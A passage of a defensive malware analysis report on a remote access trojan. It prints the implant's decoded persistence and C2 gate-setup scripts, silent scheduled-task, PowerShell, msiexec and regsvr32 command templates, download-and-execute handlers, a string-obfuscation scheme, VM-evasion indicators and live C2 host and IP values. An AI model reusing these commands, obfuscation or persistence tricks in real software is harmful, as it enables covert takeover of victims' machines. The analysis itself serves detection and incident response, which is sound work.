function void autorunToSheduler() { ... autoruns::shtasks_add($shedValue,"",$exepath,""); ... }
This is the clearest single artefact in the analysis: it states the malware’s intent in near-source form.
The script establishes three mutually reinforcing persistence mechanisms:
autorunToRegistry()
runs on a loop every 150 seconds. It checks whether its
entry exists and re-adds it if not.autorunToSheduler()
runs every 875 seconds, with the same check-and-restore
pattern, via schtasks.autorun_on_shutdown
registers a monitor that re-applies persistence as the system shuts
down.The two timer values are literals in the decoded script rather than
inferences from observed behaviour —
delayer::delay_in_seconds(150) in
autorun_to_registry and
delayer::delay_in_seconds(875) in
autorun_to_sheduler, both quoted verbatim in §5 above and
both derived from the container bytes shown there. The
check-then-restore shape is likewise explicit in the source:
autorun_exists_hkcu($regValue, $exepath) gates
autorun_add_hkcu(...), so the mechanism is a conditional
repair on a timer, not a blind periodic write. That distinction is what
makes deletion-while-running ineffective.
Removing either entry without terminating the process is futile: it is restored within at most 875 seconds, and again at shutdown. Effective remediation requires killing the process first.
6b. The payload implements four persistence mechanisms; this
build’s config uses two of them (High confidence). §6 above
describes what load.db configures — the Run key
and the scheduled task, re-applied on their timers. The stage-3
payload’s dispatcher offers a superset, operator-selectable per task,
each taking a name and a target path:
| Case | Decoded at | Mechanism | Success string |
|---|---|---|---|
AUTORUN_HKCU |
0x124b46 |
HKCU Run value | Autorun HKCU added (0x124e54) |
AUTORUN_HK |
0x125392 |
HKLM Run value, falling back to HKCU | Autorun HKLM added (0x125718),
Autorun HK added to HKCU (0x125838) |
AUTORUN_SCHEDULER |
0x125da9 |
Scheduled task | Autorun scheduler added (0x1260f4) |
AUTORUN_STARTUP_LNK |
0x12666e |
Startup-folder .lnk |
Autorun startup link added (0x126a1c) |
Two of these are absent from §6 because §6 was derived from the
configuration rather than from the code: HKLM (a
machine-wide, all-users variant requiring elevation, which the sample
seeks) and the Startup folder shortcut. The
.lnk construction is corroborated at 0x05284c,
0x052e55, 0x053035.
All four support add, remove and enumerate:
Startup add completed (0x0e28c7),
Startup remove completed (0x0e1457),
Removed Startup link: (0x146d9f), and an
AutorunEnumerator that spans all three stores — Run values
(0x057e6d), the Startup folder (0x0588f0), and
the task scheduler via COM
(0x059b0d–0x05a6d6).
SeShutdownPrivilege (0x0d2886) independently
corroborates the shutdown-hook path in §6.
Enumeration is a distinct capability from add and remove, and
is worth reading on its own. AutorunEnumerator
gives the operator a read of the persistence already present on
a host across all three stores — including entries this implant did not
create. Paired with the remove primitives, that supports
survey-before-reinstall (confirm what is already there and avoid a
duplicate, noisy entry) and, in principle, displacing a rival implant’s
autorun. This is capability inferred from the primitive set, not
observed behaviour: no task issuing an enumerate was recovered, and the
enumerate path is equally consistent with the self-healing check in §6,
which must read a store before deciding whether to re-add. Stated at
Medium confidence for the operator-survey reading; the
primitives themselves are High.
The remediation consequence is direct. Guidance scoped to “the Run value and the scheduled task” — as Recommendation 2 previously was — leaves an HKLM Run entry and a Startup-folder shortcut untouched if the operator selected them for a given victim. Because the choice is per-task rather than per-build, its presence cannot be ruled out from this binary; all four stores must be checked. This is stated as capability, not as observed behaviour on any host.
6a. The persistence name impersonates the host application
(High confidence). Both of the persistence entries this build
configures are named
SPSS WinWrap Basic IDE 27.4 — the
legitimate product whose signed binary launched the chain. An
administrator auditing Run keys or scheduled tasks on a machine where
this IDE is genuinely installed sees a plausible vendor entry pointing
at a real, signed executable.
The stage-3 binary contains the exact scheduled-task command template:
schtasks.exe /Create /TN <name> /TR <path> /SC ONLOGON /RU SYSTEM /F /RL HIGHEST
schtasks.exe /Query /TN <name>
schtasks.exe /Delete /TN <name> /F
Note /RU SYSTEM with /RL HIGHEST — the task
is created to run as SYSTEM at highest privilege where permissions
allow.
Every string in the stage-3 RAT is built on the stack by an LCG keystream:
seed = 0x5621401945f4d0e8
word : plain = cipher XOR ((2*(s & 0xFFFF) + 0x11) & 0xFFFF)
state : s = (s * 0x19660D + 0x3C6EF35F) mod 2^64
result: UTF-16LE
There is no strings-visible content in the binary at all;
FLOSS and a raw strings pass yield nothing of value.
The seed is a 10-byte movabs immediate, which makes the
sweep exact rather than heuristic — every protected string begins with
the same instruction:
$ python3 -c "import re,struct; d=open('load_db_stage3.bin','rb').read(); \
print(len(re.findall(re.escape(b'\\x48\\xb8'+struct.pack('<Q',0x5621401945f4d0e8)),d)))"
1477
decode_strings.py (written for this analysis) locates
all 1,477 movabs rax, <seed> sites
and walks each immediate run, recovering 1,296 strings.
This exhaustiveness matters: the negative C2 result in §11 rests on
it.
Two decoders exist in the working set, and only the strict
one is cited. decode_all.py is a superseded coarse
variant whose inner walk accepts any lone 0xb8 /
0x66 0xb8 byte between two seed anchors without requiring a
matching store instruction. That tolerance lets it absorb a byte that is
not part of the string-building sequence, corrupting exactly one UTF-16
word while leaving the rest of the string readable —
WOW6432N?de for WOW6432Node,
?alse for false. It recovers 1,269 strings
against the strict decoder’s 1,296, and 434 of the shared offsets differ
by precisely this one-character corruption. The failure mode is
dangerous because the output survives an eyeball check: every value
quoted in this report comes from decode_strings.py, and any
detection rule derived from the coarse output would be silently
wrong.
The RAT assembles a detailed host survey. Recovered field labels include: computer name, user name, domain, SID, elevation status, OS build/edition/ version/architecture, timezone, UI language, CPU vendor/MHz/cores, RAM total and usage, GPU and VRAM and driver, motherboard vendor/product/serial, BIOS vendor/version/date/serial, keyboard layout, monitors, drives, battery, network configuration, open ports, and installed applications.
Motherboard and BIOS serials in particular provide durable hardware fingerprinting that survives reinstallation.
The registry keys backing the survey are decoded and give it more specificity than the field labels alone suggest:
| Key | Decoded at | Purpose |
|---|---|---|
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall |
0x151cff |
Installed applications |
SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall |
0x151fdf |
32-bit twin — enumerates both views |
SOFTWARE\Microsoft\Windows Defender |
0x13b4c6 |
Defender configuration |
SOFTWARE\Microsoft\Cryptography →
MachineGuid |
0x13ed54 / 0x13ef60 |
Stable per-install machine identifier |
Because every one of these strings is LCG stack-constructed rather
than stored, none appears in a strings dump and each must be
reconstructed from the instructions that build it. The
MachineGuid site is small enough to verify by hand end to
end, and demonstrates the scheme the whole finding rests on:
$ r2 -m 0 -e asm.arch=x86 -e asm.bits=64 -c 's 0x13ef60; pd 16' load_db_stage3.bin
0x0013ef60 48b8e8d0f4.. movabs rax, 0x5621401945f4d0e8 ; the seed
0x0013ef6a 48898424f0.. mov qword [rsp + 0xf0], rax
0x0013ef72 b8aca10000 mov eax, 0xa1ac
0x0013ef77 66898424f8.. mov word [rsp + 0xf8], ax
0x0013ef7f b83efe0000 mov eax, 0xfe3e
0x0013ef84 66898424fa.. mov word [rsp + 0xfa], ax
0x0013ef8c b8a6e40000 mov eax, 0xe4a6
0x0013ef91 66898424fc.. mov word [rsp + 0xfc], ax
0x0013ef99 b89b3b0000 mov eax, 0x3b9b
0x0013ef9e 66898424fe.. mov word [rsp + 0xfe], ax
0x0013efa6 b820fd0000 mov eax, 0xfd20
0x0013efab 6689842400.. mov word [rsp + 0x100], ax
0x0013efb3 b8c9120000 mov eax, 0x12c9
0x0013efb8 6689842402.. mov word [rsp + 0x102], ax
0x0013efc0 b8089c0000 mov eax, 0x9c08
0x0013efc5 6689842404.. mov word [rsp + 0x104], ax
Each mov eax, imm carries one obfuscated UTF-16LE word,
stored to consecutive stack offsets. The keystream is
(2 * (state & 0xFFFF) + 0x11) & 0xFFFF, with
state advanced by the LCG
state * 0x19660D + 0x3C6EF35F after every word. Applying
that to the seven immediates above:
0xa1ac ^ ks0 = 0x004d 'M'
0xfe3e ^ ks1 = 0x0061 'a'
0xe4a6 ^ ks2 = 0x0063 'c'
0x3b9b ^ ks3 = 0x0068 'h'
0xfd20 ^ ks4 = 0x0069 'i'
0x12c9 ^ ks5 = 0x006e 'n'
0x9c08 ^ ks6 = 0x0065 'e' -> "Machine" (…Guid continues)
The seed 0x5621401945f4d0e8 appears 1,477 times in the
stage-3 image, once per protected string; sweeping all of them recovers
1,296 strings, which is the basis for the field and registry inventories
in this section. Note the report cites the strict decoder
(decode_strings.py), not the coarse variant retained
alongside it — the coarse walk mis-attributes one word in roughly a
third of strings, yielding readable-but-wrong output such as
WOW6432N?de for WOW6432Node, which would
silently corrupt any derived detection rule.
Two of these are worth separating from generic inventory. Reading
Windows Defender’s configuration specifically — rather
than enumerating security products generically — is a targeting signal:
the operator is checking the defence they expect to face before acting.
And MachineGuid is a durable victim identifier that
survives hostname and user changes, complementing the BIOS/motherboard
serials above; taken together the sample can re-identify a host across
reinstallation and renaming.
8a. Browser targeting (Medium-High confidence).
Thirteen browsers are enumerated by name and by URL-handler ProgID:
Chrome, Edge, Firefox, Brave, Opera, Opera GX, Vivaldi, Yandex, Internet
Explorer, Waterfox, LibreWolf, Arc, plus AppX. The RAT
reads
Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice
to identify the default browser. Strings for cookies,
downloads and public_downloads indicate the
collection targets.
Note this is a capability map read from strings and registry paths; the credential-extraction code paths themselves were not traced to completion. Rated Medium-High rather than High for that reason.
The RAT can launch arbitrary payloads in four forms, with the command templates present verbatim:
| Kind | Template |
|---|
The dispatcher self-labels its handlers in its own error strings, giving the complete set of fifteen payload types by name rather than by inference:
| Handler | Mechanism | Key offsets |
|---|---|---|
EXE |
direct process creation, optionally via runas |
0x11acb6 |
MSI |
<sys>\msiexec.exe /i <path> /qn /norestart |
0x11babd, 0x11bf2e |
BAT |
<sys>\cmd.exe /c "<command>" |
0x11f6e7, 0x11f594 |
PS_SCRIPT |
powershell.exe -NoProfile -ExecutionPolicy Bypass -File "<path>" |
0x11ee7b, 0x11eb64 |
VBS |
cscript.exe //nologo "<path>" |
0x11ff35, 0x11fd94 |
DLL_RUNDLL32 |
rundll32.exe "<path>",DllMain |
0x11c996, 0x11c7ac |
DLL_REGSVR32 |
regsvr32.exe /s "<path>" |
0x11d21b, 0x11d0dd |
DIR_EXE |
main.exe inside a supplied directory |
0x11d991 |
DIR_DLL |
main.dll,DllMain via
rundll32 |
0x11e0dd, 0x11e3ec |
EXE_BY_LINK |
fetch, then execute | 0x120323 |
MSI_BY_LINK |
fetch, then msiexec |
0x1210f7, 0x121686 |
DIR_EXE_ZIPPED_BY_LINK |
fetch payload.zip, extract, run
main.exe |
0x12203c, 0x1224fc,
0x123000 |
DIR_DLL_ZIPPED_BY_LINK |
fetch payload.zip, extract, run
main.dll |
0x12343e, 0x124462,
0x124778 |
EXE_RTLCOMPRESSED_BY_LINK |
not implemented —
is not implemented yet |
0x11a186 |
MSI_RTLCOMPRESSED_BY_LINK |
not implemented —
is not implemented yet |
0x11a4f5 |
Nine execute from a locally staged path; four fetch from an
operator-supplied URL first; two are declared and stubbed out. The two
stubs are worth recording rather than dropping —
RTLCOMPRESSED names the
RtlCompressBuffer/RtlDecompressBuffer API
pair, so they indicate an intended compressed-transport variant that
this build cannot yet use. They are capability intent, not
capability.
How implemented and declared handlers were told
apart. The identifier does not distinguish them — all six
_BY_LINK names share a suffix, and four work while two do
not. The discriminator is the failure mode: an
implemented handler’s error strings describe a runtime precondition it
could not meet (source URL is missing), which presupposes a
body that got far enough to check; a stub’s only string is its own
refusal (is not implemented yet). A second analyst
reviewing this sample initially generalised all six from the suffix,
having annotated one row as stubbed without re-reading the identical row
above it — the correction came from the strings, not from the names.
Recorded because it generalises: separating shipped capability from
declared capability requires reading each handler’s failure path, and a
detection rule calibrated against events that cannot occur is not
conservative, it is untestable. Counting the two stubs as live would
have overstated this build’s network-fetch surface by 50%.
There is a stronger, structural form of the same
discriminator, contributed by a second analyst and verified
here in stage3_ghidra_decomp.c: the branch shape
in the dispatcher gives it away before any string is decoded. An
implemented case is a thin forwarder — three to five lines, a single
tail call into a handler function, return param_2. A stub
is inline: the branch body itself builds an LCG stack
string (same seed 0x5621401945f4d0e8) and returns without
ever calling a handler. Branch 0x56ae runs 69 lines of
inline stack-string construction with no forwarding call; the
implemented cases beside it are five-line forwarders. This is the better
test of the two, because it needs neither a decoded string table nor a
judgement about what an error message implies — shipped capability and
declared capability have different code shapes.
Confirmed in disassembly rather than pseudocode alone. The
implemented branch for 0x560e marshals six arguments into
the ABI registers and leaves:
$ r2 -q -e asm.arch=x86 -e asm.bits=64 -m 0 \
-c 'pD 0x30 @ 0x119cf1' load_db_stage3.bin
0x00119cf1 488b842450.. mov rax, qword [rsp + 0x450]
0x00119cf9 4889442420 mov qword [rsp + 0x20], rax ; 5th arg, stack
0x00119cfe 4c8b8c2448.. mov r9, qword [rsp + 0x448]
0x00119d06 4c8b842440.. mov r8, qword [rsp + 0x440]
0x00119d0e 488b942438.. mov rdx, qword [rsp + 0x438]
0x00119d16 488b8c2430.. mov rcx, qword [rsp + 0x430]
0x00119d1e e8 ... call <handler> ; tail call out
The stub branch for 0x56ae calls no handler. It loads
the LCG seed and begins constructing its refusal string in place:
$ r2 -q -e asm.arch=x86 -e asm.bits=64 -m 0 \
-c 'pD 0x40 @ 0x11a15f' load_db_stage3.bin
0x0011a15f 488d8c2410.. lea rcx, [rsp + 0x210]
0x0011a167 e8d4f8ffff call 0x119a40
0x0011a16c 488d8c2410.. lea rcx, [rsp + 0x210]
0x0011a174 e863ddffff call 0x117edc
0x0011a179 488d8c24a8.. lea rcx, [rsp + 0x1a8]
0x0011a181 e896e8f7ff call 0x98a1c
0x0011a186 48b8e8d0f4.. movabs rax, 0x5621401945f4d0e8 ; the LCG seed
0x0011a190 4889842490.. mov qword [rsp + 0x90], rax
0x0011a198 b8a4a10000 mov eax, 0xa1a4
movabs rax, 0x5621401945f4d0e8 is the same seed
documented in §7, appearing directly in the branch body. The two shapes
are distinguishable at a glance in raw instructions, with no decompiler
and no decoded strings — which is the property that makes this
discriminator portable to a sample whose strings have not been
recovered.
9a. Two separate uninstall commands — the implant can retire itself, or strip its persistence and keep running (High confidence). The dispatcher carries two further forwarders that are not payload handlers at all:
| Case | Handler | Success / failure strings |
|---|---|---|
0x56c2 |
FUN_00126e48 |
Client uninstall completed (0x126fc1),
Client uninstall failed (0x127149) |
0x56cc |
FUN_00127364 |
Autorun uninstall completed (0x12746e),
Autorun uninstall failed (0x1275ef) |
Both branch bodies were read in stage3_ghidra_decomp.c
and are thin forwarders
(FUN_0012xxxx(param_1..param_5); return param_2;) reached
from the same binary-search chain as the execution handlers. That these
are two independent commands rather than one teardown
routine is the operationally significant part: an operator can
remove the autorun entries while leaving the running implant in memory,
or retire the client outright. The first leaves a memory-resident
implant with no disk persistence — invisible to exactly the
autorun-store sweep that Recommendation 3 prescribes.
IR consequence. A host with strong evidence of infection but no persistence artefacts is consistent with operator teardown, not only with a failed install. The two readings call for different responses — teardown implies the operator had console access and chose to withdraw, which bears on whether the intrusion was noticed — so the absence of autorun entries must not be read as absence of compromise. Capture memory before remediation (Recommendation 8) applies with particular force here.
Staging artefacts for the zipped variants: payload.zip
(0x1224fc, 0x123918),
__dir_exe_zip_stage (0x12260f),
__dir_dll_zip_stage (0x123a2b), and
__extract (0x122c00,
0x124048).
Every invocation is silent:
/qn /norestart (fully silent MSI install),
-NoProfile -ExecutionPolicy Bypass (suppresses profile
scripts, defeats execution policy), regsvr32 /s (no
dialog), and cscript //nologo (no banner). Six distinct
LOLBins are reachable — by occurrence count across the dispatcher:
powershell.exe 5, msiexec.exe 4,
cmd.exe 4, rundll32.exe 3,
regsvr32.exe 1, cscript.exe 1.
Two detection consequences follow, and they cut in different directions:
msiexec and powershell misses four of the six.
cscript.exe occurs exactly once in the
whole dispatcher and is the easiest to omit — see Corrections item 32
for how it was missed here._BY_LINK variants defeat write-then-execute
detection. For the four network-fetch handlers the download
is the staging write, so a rule requiring the parent process to
write the child to disk before launching it does not fire. Detect these
on the fetch and the staging paths instead — payload.zip
landing beside a __dir_exe_zip_stage or
__dir_dll_zip_stage directory, then an
__extract subdirectory, is a distinctive on-disk sequence
(Detection Opportunity 21).8b. The task-step dispatcher, located and fully
enumerated. Assessment Limitation 6 previously recorded that
the command dispatch table had not been enumerated. It is
FUN_00119af8 at 0x119af8 — not a jump table
but a binary-search if-chain over step ids, which is
why a table-shaped search did not find it. The head of the chain, with
the step id spilled to [rsp+0x30] and compared against
successive pivots:
$ r2 -q -e asm.arch=x86 -e asm.bits=64 -m 0 \
-c 'pD 0x120 @ 0x119af8' load_db_stage3.bin
0x00119b24 e82fe5f7ff call 0x98058 ; fetch step id
0x00119b39 4889442430 mov qword [rsp + 0x30], rax
0x00119b3e 48817c2430.. cmp qword [rsp + 0x30], 0x5690 ; pivot 1
0x00119b47 0f87ba000000 ja 0x119c07 ; upper half
0x00119b4d 48817c2430.. cmp qword [rsp + 0x30], 0x5690
0x00119b56 0f84cc030000 je 0x119f28 ; MSI_BY_LINK
0x00119b5c 48817c2430.. cmp qword [rsp + 0x30], 0x5640 ; pivot 2
0x00119b65 775f ja 0x119bc6
0x00119b67 48817c2430.. cmp qword [rsp + 0x30], 0x5640
0x00119b70 0f8477020000 je 0x119ded ; DIR_DLL
0x00119b76 48817c2430.. cmp qword [rsp + 0x30], 0x560e
0x00119b7f 0f846c010000 je 0x119cf1 ; MSI
0x00119b85 48817c2430.. cmp qword [rsp + 0x30], 0x5618
0x00119b8e 0f841e010000 je 0x119cb2 ; EXE
0x00119b94 48817c2430.. cmp qword [rsp + 0x30], 0x5622
0x00119b9d 0f848d010000 je 0x119d30 ; DLL_RUNDLL32
...
0x00119bc1 e9770c0000 jmp 0x11a83d ; default / no match
The pivots are 0x5690 and 0x56cc tested
with ja — the ids themselves, not the off-by-one boundaries
0x5691/0x56cd an earlier revision of this
section reported (Corrections item 44). Ids are spaced by
decimal 10.
The map is complete — all 21 branches are resolved.
It was extracted mechanically from the disassembly above by pairing each
cmp qword [rsp+0x30], <id> with the je
that follows it, over the dispatcher’s full 0x420-byte
extent; the pass yields exactly 21 distinct ids and 21 distinct targets,
with no unpaired comparison and no residue. That result was then
cross-checked against an independent enumeration from
stage3_ghidra_decomp.c and against a second analyst’s pass;
all three agree.
The mechanical extraction is what makes the three absent slots a
bounded negative rather than an unexamined gap:
0x564a, 0x5654 and 0x565e are
missing from a complete enumeration of the chain, not merely unnoticed
in a manual read.
| Id | Dec | Handler | Capability |
|---|---|---|---|
0x560e |
22030 | FUN_0011b654 |
MSI |
0x5618 |
22040 | FUN_0011aa7c |
EXE |
0x5622 |
22050 | FUN_0011c1f8 |
DLL_RUNDLL32 |
0x562c |
22060 | FUN_0011cb98 |
DLL_REGSVR32 |
0x5636 |
22070 | FUN_0011d410 |
DIR_EXE |
0x5640 |
22080 | FUN_0011db6c |
DIR_DLL |
0x5668 |
22120 | FUN_0011e5e0 |
PS_SCRIPT |
0x5672 |
22130 | FUN_0011f094 |
BAT |
0x567c |
22140 | FUN_0011f894 |
VBS |
0x5686 |
22150 | FUN_00120114 |
EXE_BY_LINK |
0x5690 |
22160 | FUN_00120f3c |
MSI_BY_LINK |
0x569a |
22170 | FUN_00121e28 |
DIR_EXE_ZIPPED_BY_LINK |
0x56a4 |
22180 | FUN_00123254 |
DIR_DLL_ZIPPED_BY_LINK |
0x56ae |
22190 | (inline) | EXE_RTLCOMPRESSED_BY_LINK — stub |
0x56b8 |
22200 | (inline) | MSI_RTLCOMPRESSED_BY_LINK — stub |
0x56c2 |
22210 | FUN_00126e48 |
Client uninstall (§9a) |
0x56cc |
22220 | FUN_00127364 |
Autorun uninstall (§9a) |
0x56d6 |
22230 | FUN_001249dc |
AUTORUN_HKCU |
0x56e0 |
22240 | FUN_00125228 |
AUTORUN_HK |
0x56ea |
22250 | FUN_00125c40 |
AUTORUN_SCHEDULER |
0x56f4 |
22260 | FUN_00126504 |
AUTORUN_STARTUP_LNK |
Nineteen are thin forwarders; the two stubs are inline branch bodies
that build a refusal string and return without calling a handler (§9,
structural discriminator). The id space is otherwise contiguous
at decimal-10 spacing from 22030 to 22260 — 24 slots — with
exactly three absent: 0x564a (22090),
0x5654 (22100) and 0x565e (22110). They are
contiguous with each other, sit between DIR_DLL and
PS_SCRIPT, and have no branch and no corresponding strings.
Read as unallocated slots, which alongside the two shipped stubs dates
this build as mid-development. This is a bounded
negative — three named, enumerated slots — not unexamined space.
Limitation 6 is closed. The caveat that survives is one of scope, not completeness: this table is complete for this dispatcher, and remains a lower bound for the implant’s total command surface. Note that the dispatcher executes script steps rather than C2 commands — no call path from any known C2 function reaches it, and its ids are compared in exactly one place in the binary (Assessment Limitation 6a). The dispatcher is nonetheless started by the C2 path, as a thread rather than a call; §8c traces that edge and settles the question of whether a separate command router exists above the network layer.
8c. The C2 path starts the step dispatcher as a thread (High confidence). Assessment Limitation 6a previously left two readings open — either operator commands are pushed script run by the same interpreter, or a separate command router exists in code the direct-edge walk never touched. Reading the message handling after the handshake decides it: the join between the network layer and the script engine is a thread start, which is why no call edge was ever going to be found.
The direct-edge negative is reconfirmed, not overturned. Re-walking to depth 12 with call edges taken from r2’s instruction type rather than by matching the disassembly text:
session loop 0xd4558 visited= 632 indirect= 0 reaches 0x119af8: False
C2 fn 0xd36ec visited= 286 indirect= 0 reaches 0x119af8: False
guard 0x11833c visited= 37 indirect= 0 reaches 0x119af8: False
from 0x118620 visited= 689 reaches 0x119af8: True
path: 0x118620 -> 0x118c7c -> 0x118d9c -> 0x119260 -> 0x119af8
Zero indirect calls in every C2 neighborhood, so the negative remains bounded by the graph rather than blinded by function pointers.
The edge that joins them starts inside fcn.000d36ec,
which is already on 6a’s seed list. It reads a field and calls through
it only when populated:
0x000d3861 4883b8c801.. cmp qword [rax + 0x1c8], 0
0x000d3869 74 15 je 0xd3880
0x000d3873 488b88c801.. mov rcx, qword [rax + 0x1c8]
0x000d387a e8bd4a0400 call fcn.0011833c
That field is unconditionally populated at startup,
so the branch is not a dormant path. fcn.000d3ad4 is a
straight-line constructor — an exhaustive sweep of every operand width
at offset +0x1c8 across all 3,130 functions finds exactly
one write, and there are zero branch,
test or cmp instructions between the function
entry and it:
0x000d3c58 e84fbfffff call fcn.000cfbac ; allocate
0x000d3c65 488981c801.. mov qword [rcx + 0x1c8], rax ; store
0x000d3c74 488b88c801.. mov rcx, qword [rax + 0x1c8]
0x000d3c7b e89c450400 call fcn.0011821c ; construct in place
fcn.000d3ad4’s only caller is fcn.000cde9c,
itself called at offset 0x6 of fcn.00000000 —
payload startup. The constructor fcn.0011821c is the script
engine’s own: it zeroes +0x34, the exact re-entrancy flag
the next function tests.
fcn.0011833c (75 bytes) is a run-guard. Both arms call
the registrar; the first-entry arm sets the flag, calls it, and clears
the flag on failure:
0x0011834a 0fb64034 movzx eax, byte [rax + 0x34]
0x00118350 74 0d je 0x11835f
0x00118357 e8e8a20100 call fcn.00132644
0x0011835f c6403401 mov byte [rax + 0x34], 1
0x0011836d e8d2a20100 call fcn.00132644
fcn.00132644 is the registrar, and
lea r9, [0x11856c] at 0x1326ad is the
only reference to the dispatcher thunk anywhere in the
binary:
0x001326ad 4c8d0db85e.. lea r9, [0x0011856c] ; thunk, by address
0x001326b4 4533c0 xor r8d, r8d
0x001326b7 33d2 xor edx, edx
0x001326be e87d11f4ff call fcn.00073840 ; generic invoker
0x001326c8 48894120 mov qword [rcx + 0x20], rax ; store handle
0x001326d1 4883782000 cmp qword [rax + 0x20], 0
0x001326dd c740280000.. mov dword [rax + 0x28], 0 ; clear on failure
Storing the invoker’s return value as a handle and zeroing a
companion field when it is null is thread-creation shape.
fcn.00073840 is the generic invoker already described in 6a
— 28 call sites, resolving its target from two 64-bit constants before
call qword [rsp+0x40] — so reaching it proves nothing
alone; the thunk argument is what identifies this site.
The thunk closes the loop, null-checking its parameter and tail-calling the head of the dispatcher chain:
0x0011856c 48894c2408 mov qword [rsp + 8], rcx
0x0011857f 48837c242000 cmp qword [rsp + 0x20], 0
0x00118585 74 0b je 0x118592
0x0011858c e88f000000 call fcn.00118620
Full chain, direct edges throughout:
fcn.00000000 -> 0xcde9c -> 0xd3ad4 [ctor: writes ctx+0x1c8, builds engine]
fcn.0002c824 -> 0xd36ec [C2] --gate ctx+0x1c8 != 0--> 0x11833c [run guard]
-> 0x132644 [registrar] --lea r9,[0x11856c] --> 0x73840 [invoker/thread]
-> 0x11856c [thunk] -> 0x118620 -> 0x118c7c -> 0x118d9c
-> 0x119260 -> 0x119af8 [step dispatcher]
Consequence. The network layer does not
call the dispatcher; it spawns it, then feeds it work
through interpreter state rather than through arguments. That is
consistent with 6a’s other observation — the dispatched id comes from
fcn.00098058, a keyed property getter, not from a socket.
So the first of the two readings holds: there is no separate
command router, and the operator’s command surface is script
pushed to this interpreter. §8b’s table is complete for the dispatcher
and bounded only by the open-endedness of the DSL.
An interactive shell is maintained via a persistent PowerShell
session started with
-NoLogo -NoProfile -NoExit -Command "$OutputEncoding=[Console]:: OutputEncoding=[Console]::InputEncoding=[System.Text.UTF8Encoding]::UTF8"
— the UTF-8 setup confirms a long-lived interactive channel rather than
one-shot command execution. Strings
shell input queue is full or unavailable,
too many active downloads, and
download not found indicate queued, multiplexed command
handling.
Integrity levels are tracked by name (Untrusted,
Low, Medium, Medium+,
High, System, Protected),
consistent with privilege-aware operation.
Roughly sixty distinct checks span six hypervisor families:
vmci.sys,
vmmouse.sys, vmhgfs.sys,
vmmemctl.sys, vmrawdsk.sys,
vmusbmouse.sys, vmxnet*.sys,
vmx_svga.sys, vm3dmp*,
pvscsi.sys, VBoxGuest, VBoxMouse,
VBoxSF, VBoxVideo, VBoxWddm,
VBoxNetAdp, vmicheartbeat,
vmickvpexchange, vmicshutdown,
vmictimesync, vmicvss, vmbus,
QemuFwCfg, xenevtchn, xennet,
xenvbd, xenbus, prl_strg,
prl_eth, prl_fs, prl_moufvmms.exe,
vmwp.exe, vmcompute.exe,
vmmem.exe, vmmemWSL.exe,
vmtoolsd.exe, vm3dservice.exe,
VGAuthService.exe, vmwaretray.exe,
vmwareuser.exe, vmacthlp.exe,
VBoxService.exe, VBoxTray.exe,
VBoxControl.exe, qemu-ga.exe,
prl_tools.exe, prl_cc.exePCI\VEN_15AD (VMware),
PCI\VEN_80EE (VirtualBox), VEN_1AB8
(Parallels), VMBUS\ (Hyper-V)HARDWARE\DESCRIPTION\System\BIOS /
SystemProductName,
SYSTEM\CurrentControlSet\Services, and the SCSI/IDE
DEVICEMAP identifier pathsVMware Tools,
Hyper-V, HyperVideo, Parallels,
Xen, QEMU-GA, Red HatLike the host-survey strings, none of these is stored as plaintext —
each is LCG-built at its own site, so the whole list is recovered by
decoding rather than by reading a strings dump. Representative sites,
with the decoder output that decode_strings.py produces at
each:
0x035717 'VBoxGuest' 0x0329cb 'VEN_15AD' (VMware)
0x0360fa 'QemuFwCfg' 0x032bd6 'VEN_80EE' (VirtualBox)
0x03649f 'prl_strg' 0x0331c7 'VEN_1AB8' (Parallels)
0x038f8b 'vmci.sys' 0x0333e5 'VMBUS\' (Hyper-V)
0x03ce3f 'vmmemWSL.exe' 0x03a59f 'VMBusHID.sys'
0x03cf38 'vmtoolsd.exe' 0x03a9e4 'vmbusr.sys'
Several names recur at multiple addresses — VBoxGuest is
built independently at 0x035717, 0x03f411 and
0x048439, and QemuFwCfg at
0x0360fa and 0x03fa17. That repetition is
consistent with the same indicator being tested by more than one check
routine (driver-presence, service-enumeration and registry paths each
rebuilding the string locally) rather than with a single shared table,
and it is why the count is given as “roughly sixty distinct checks”
rather than as a precise total: the distinct indicator set is
smaller than the number of construction sites.
The breadth is notable: WSL (vmmemWSL.exe) and Hyper-V
integration services are covered, which many commodity families
omit.
This section replaces a materially wrong earlier finding. The report previously asserted, as its headline, that no C2 endpoint existed in the bundle. That was false. The correction and its cause are recorded as Corrections item 11; the analytical lesson is in §11d because it generalises beyond this sample.
Two hardcoded gates, both port 443:
| Gate | Host offset | Key | Port offset | Key |
|---|---|---|---|---|
triotmelon.com:443 |
0x181e17 |
0x91 |
0x181e33 |
0xe7 |
144.124.242.171:443 |
0x181e3d |
0xf0 |
0x181e5b |
0xfb |
Offsets are into load_db_stage3.bin.
triotmelon.com was not resolved and no
network activity of any kind was performed.
11a. Where they live, and why two exhaustive sweeps missed
them. The values sit in an encrypted settings container
appended to the stage-3 payload, at stage-3
0x15cc3a onward (the string table at
0x181b06–0x181fa8). That region is inside
load.db record tid=16100 — the record my container
enumeration correctly identified and then treated as a single opaque
blob. So:
Neither sweep was capable of reaching this region. Confirmed:
grepping the 1,269 LCG-decoded strings for triotmelon,
gate_list, or add_gate returns
zero hits, and neither host appears as an ASCII or
UTF-16LE literal anywhere in the bundle. That absence is a property
of tool scope, not evidence of absence — the inference that led to
the original error.
11b. The encoding, and why the decode is
trustworthy. Each string is UTF-16LE XORed with a
single byte key that differs per string. The scheme
self-verifies: UTF-16LE ASCII has 0x00 high bytes, so the
repeating high byte in the ciphertext is the key. Visible in a
raw hexdump:
0x181e17 e5 91 e3 91 f8 91 fe 91 e5 91 fc 91 f4 91 fd 91
e5^91='t' e3^91='r' f8^91='i' ... -> triotmelon.com
Independently reproduced for this report by reading the key off each string’s own first high byte and decoding blind — no target value supplied to the decoder. All four values above decoded cleanly on the first attempt.
11c. Purpose is stated by the sample, not inferred.
The same container holds the RAT’s startup program as an interpreted
script in the same DSL as §5, under the same XOR scheme, at
0x17e3ea. Decoded verbatim:
function void setupWithGates()
{
complex $gate_dictionary = runtime::resource_get_string_dictionary(@gate_list);
int $gate_count = string_dictionary::count($gate_dictionary);
int $gate_index = 0;
loop
{
if ($gate_index >= $gate_count) { break; }
string $host = string_dictionary::get_key($gate_dictionary, $gate_index);
string $port_text = string_dictionary::get_value($gate_dictionary, $gate_index);
int $port = runtime::cast_to_int($port_text);
communicator::add_gate($host, $port);
$gate_index = $gate_index + 1;
}
string_dictionary::destroy($gate_dictionary);
}
get_key yields the host, get_value the
